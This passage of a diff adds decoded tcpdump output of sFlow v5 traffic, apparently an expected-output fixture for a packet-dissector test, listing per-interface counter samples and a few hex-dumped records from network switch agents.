+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005878, type 0, idx 10, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 10, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 105616289, unicast pkts 531333, multicast pkts 768, broadcast pkts 9159, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 10387408, unicast pkts 2209569, multicast pkts 1954606, broadcast pkts 20288646, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007661, type 0, idx 11, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 11, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1801369357, unicast pkts 137590483, multicast pkts 2109, broadcast pkts 55528, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1769140298, unicast pkts 113363667, multicast pkts 2197521, broadcast pkts 48315560, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007552, type 0, idx 12, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 12, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4201581256, unicast pkts 45842890, multicast pkts 1610, broadcast pkts 22730, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1948082196, unicast pkts 53163690, multicast pkts 2198297, broadcast pkts 48348226, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007540, type 0, idx 13, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 13, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1019109063, unicast pkts 46613839, multicast pkts 1236, broadcast pkts 22226, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2052469045, unicast pkts 53287225, multicast pkts 2198499, broadcast pkts 48348754, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2010424, type 0, idx 14, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 14, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 36138805, unicast pkts 2267783883, multicast pkts 298, broadcast pkts 38306126, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 614425293, unicast pkts 2014274284, multicast pkts 2199305, broadcast pkts 10065409, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27099, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354084, uptime 15617404, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2009508, type 0, idx 15, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 15, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 601225935, unicast pkts 4276033652, multicast pkts 1612, broadcast pkts 34856, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1981555755, unicast pkts 2886814164, multicast pkts 2198139, broadcast pkts 48336014, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007691, type 0, idx 16, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 16, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4196949353, unicast pkts 109362236, multicast pkts 10140, broadcast pkts 40757, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 703618451, unicast pkts 113710944, multicast pkts 2190477, broadcast pkts 48326386, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007530, type 0, idx 17, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 17, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4170852137, unicast pkts 45863536, multicast pkts 1559, broadcast pkts 27211, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2026848065, unicast pkts 53131746, multicast pkts 2198420, broadcast pkts 48343547, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009475, type 0, idx 18, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 18, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 125400617, unicast pkts 3953942566, multicast pkts 1121, broadcast pkts 35754, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3010600832, unicast pkts 2658737621, multicast pkts 2198495, broadcast pkts 48334857, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007417, type 0, idx 19, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 19, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 97068375, unicast pkts 444889, multicast pkts 1007, broadcast pkts 8350, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4110456622, unicast pkts 336462, multicast pkts 2198059, broadcast pkts 48354968, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007243, type 0, idx 20, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 20, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 85827864, unicast pkts 397199, multicast pkts 1855, broadcast pkts 9570, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4029102009, unicast pkts 295961, multicast pkts 2196786, broadcast pkts 48315955, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007206, type 0, idx 21, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 21, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 91053304, unicast pkts 438205, multicast pkts 1011, broadcast pkts 7940, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4103297026, unicast pkts 317273, multicast pkts 2197586, broadcast pkts 48306440, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27100, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354085, uptime 15617405, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2006231, type 0, idx 22, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 22, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 34112098, unicast pkts 105160, multicast pkts 21890, broadcast pkts 87902, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3973831211, unicast pkts 170034, multicast pkts 2177391, broadcast pkts 48280299, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007385, type 0, idx 23, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 23, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 88669719, unicast pkts 426910, multicast pkts 1274, broadcast pkts 9963, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4040560781, unicast pkts 263325, multicast pkts 2198421, broadcast pkts 48355369, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007419, type 0, idx 24, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 24, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 91303939, unicast pkts 434713, multicast pkts 1082, broadcast pkts 9160, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4108976190, unicast pkts 328918, multicast pkts 2198317, broadcast pkts 48355036, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007417, type 0, idx 25, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 25, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 92997371, unicast pkts 447348, multicast pkts 1121, broadcast pkts 9663, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4037714536, unicast pkts 258087, multicast pkts 2198271, broadcast pkts 48354566, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007413, type 0, idx 26, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 26, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 736394053, unicast pkts 4302342, multicast pkts 1537, broadcast pkts 9112, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4154005710, unicast pkts 612617, multicast pkts 2197991, broadcast pkts 48350433, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007109, type 0, idx 27, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 27, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 7325604, unicast pkts 91520, multicast pkts 1016, broadcast pkts 2335, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4107132478, unicast pkts 154975, multicast pkts 2199118, broadcast pkts 48364314, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2004644, type 0, idx 28, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 28, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 15584594, unicast pkts 232478, multicast pkts 12, broadcast pkts 1252, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 250802552, unicast pkts 447550, multicast pkts 2198406, broadcast pkts 48250290, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto UDP (17), length 488)
+    15.184.4.165.49408 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.4.165, agent-id 100, seqnum 304697, uptime 568980408, samples 1, length 460
+	counter sample (2), length 424, seqnum 304697, type 2, idx 1, records 6
+	    enterprise 0, Unknown (2001) length 68
+		0x0000:  0000 0004 0000 0002 0000 0001 1cc1 de18
+		0x0010:  96f0 0000 0000 0003 0000 0001 1cc1 de18
+		0x0020:  96f0 0000 0000 0005 0000 0001 1cc1 de18
+		0x0030:  96f0 0000 0000 0006 0000 0001 0000 0000
+		0x0040:  0000 0000
+	    enterprise 0, Unknown (2005) length 52
+		0x0000:  0000 01ce 1562 3800 0000 01b5 5abb 6000
+		0x0010:  0000 07a2 0002 2ed1 0000 0000 ad27 5000
+		0x0020:  0011 36a1 03c8 c6c6 0000 014c e1b6 8800
+		0x0030:  1016 b722
+	    enterprise 0, Unknown (2004) length 72
+		0x0000:  0000 0005 e225 c000 0000 0003 848a 3000
+		0x0010:  0000 0000 0000 0000 0000 0000 13bf c000
+		0x0020:  0000 0002 3662 0000 0000 0000 0000 0000
+		0x0030:  0000 0000 0000 0000 0015 af62 299c 36d1
+		0x0040:  0000 0000 0000 0000
+	    enterprise 0, Unknown (2003) length 68
+		0x0000:  3ca3 d70a 3c23 d70a 3d23 d70a 0000 0001
+		0x0010:  0000 0186 0000 0018 0000 0640 0096 43b9
+		0x0020:  1e74 d09c 0187 6bc0 142d 000a cc79 de36
+		0x0030:  00a5 dd9a 0051 60bc 041a 9f4c 7a8f 6da7
+		0x0040:  3842 8b86
+	    enterprise 0, Unknown (2006) length 40
+		0x0000:  0000 16b2 0b31 f24e fcb8 d0dc 0000 0000
+		0x0010:  0000 032a 0000 36b3 f8ae 8e96 0ab2 541e
+		0x0020:  0000 0000 0000 0000
+	    enterprise 0, Unknown (2000) length 64
+		0x0000:  0000 0010 7072 6f78 792d 7573 6530 3331
+		0x0010:  3437 6b32 3638 3935 3431 5355 4530 3331
+		0x0020:  3437 4b32 0000 0003 0000 0002 0000 000e
+		0x0030:  322e 362e 3138 2d31 3934 2e65 6c35 0000
+IP (tos 0x0, ttl 254, id 0, offset 0, flags [none], proto UDP (17), length 100)
+    168.87.240.2.40000 > 15.184.3.9.6343: sFlow version 327681 packet not supported
+IP (tos 0x0, ttl 255, id 16476, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.3.1.41024 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.129, agent-id 2, seqnum 211306, uptime 2441326183, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 81390, type 0, idx 56, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 56, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 809903675, unicast pkts 3736015, multicast pkts 162927, broadcast pkts 30039, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3159365496, unicast pkts 3749574, multicast pkts 328087, broadcast pkts 279825377, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 6536, type 0, idx 33, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 33, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2950591154, unicast pkts 334880915, multicast pkts 13078, broadcast pkts 633, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3019300047, unicast pkts 221588667, multicast pkts 13070, broadcast pkts 62903, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81076, type 0, idx 34, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 34, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 49685433, unicast pkts 2528128710, multicast pkts 162056, broadcast pkts 1220, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2876151927, unicast pkts 678847059, multicast pkts 163438, broadcast pkts 1810770236, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81493, type 0, idx 35, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 35, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 408342602, unicast pkts 2796427385, multicast pkts 751161, broadcast pkts 740734824, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 642300096, unicast pkts 1951849543, multicast pkts 183235, broadcast pkts 22658, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81669, type 0, idx 37, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 37, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1461246724, unicast pkts 1380492582, multicast pkts 163835, broadcast pkts 140670, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 498812438, unicast pkts 3834735035, multicast pkts 174908, broadcast pkts 1255093219, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81390, type 0, idx 38, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 38, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 71981454, unicast pkts 214133, multicast pkts 162760, broadcast pkts 157, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3267993738, unicast pkts 2856556, multicast pkts 164514, broadcast pkts 1813907262, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81434, type 0, idx 39, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 39, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3630784674, unicast pkts 832589817, multicast pkts 162837, broadcast pkts 84051, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3008452523, unicast pkts 1179091938, multicast pkts 164436, broadcast pkts 1814098221, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 255, id 16477, offset 0, flags [none], proto UDP (17), length 596)
+    15.184.3.1.41024 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.129, agent-id 2, seqnum 211307, uptime 2441326343, samples 3, length 568
+	expanded counter sample (4), length 172, seqnum 81390, type 0, idx 40, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 40, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 38989430, unicast pkts 0, multicast pkts 162755, broadcast pkts 3, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2802182351, unicast pkts 56820, multicast pkts 165686, broadcast pkts 1814332502, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81138, type 0, idx 41, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 41, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 46653626, unicast pkts 85863, multicast pkts 27682, broadcast pkts 478300, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 311406364, unicast pkts 80002, multicast pkts 1261847, broadcast pkts 1178283, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81376, type 0, idx 50, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 50, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2331728577, unicast pkts 108446058, multicast pkts 81380, broadcast pkts 1837, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 330353971, unicast pkts 160483289, multicast pkts 1588895, broadcast pkts 1448152, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 254, id 50953, offset 0, flags [none], proto UDP (17), length 956)
+    168.87.240.3.50340 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.129, agent-id 6, seqnum 444098, uptime 127118529, samples 5, length 928
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 60, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 60, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 72510805, unicast pkts 0, multicast pkts 294749, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 123866349, unicast pkts 13446, multicast pkts 736973, broadcast pkts 117224, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 61, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 61, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 72511166, unicast pkts 0, multicast pkts 294750, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2101933816, unicast pkts 33990, multicast pkts 368505, broadcast pkts 42768255, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 62, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 62, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 89171611, unicast pkts 5392, multicast pkts 294750, broadcast pkts 49641, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 124086999, unicast pkts 11982, multicast pkts 736973, broadcast pkts 117224, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 63, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 63, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 71037120, unicast pkts 0, multicast pkts 294748, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2101596784, unicast pkts 29476, multicast pkts 368505, broadcast pkts 42768255, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 64, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 64, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 71037922, unicast pkts 0, multicast pkts 294751, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 123494040, unicast pkts 7500, multicast pkts 736973, broadcast pkts 117224, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
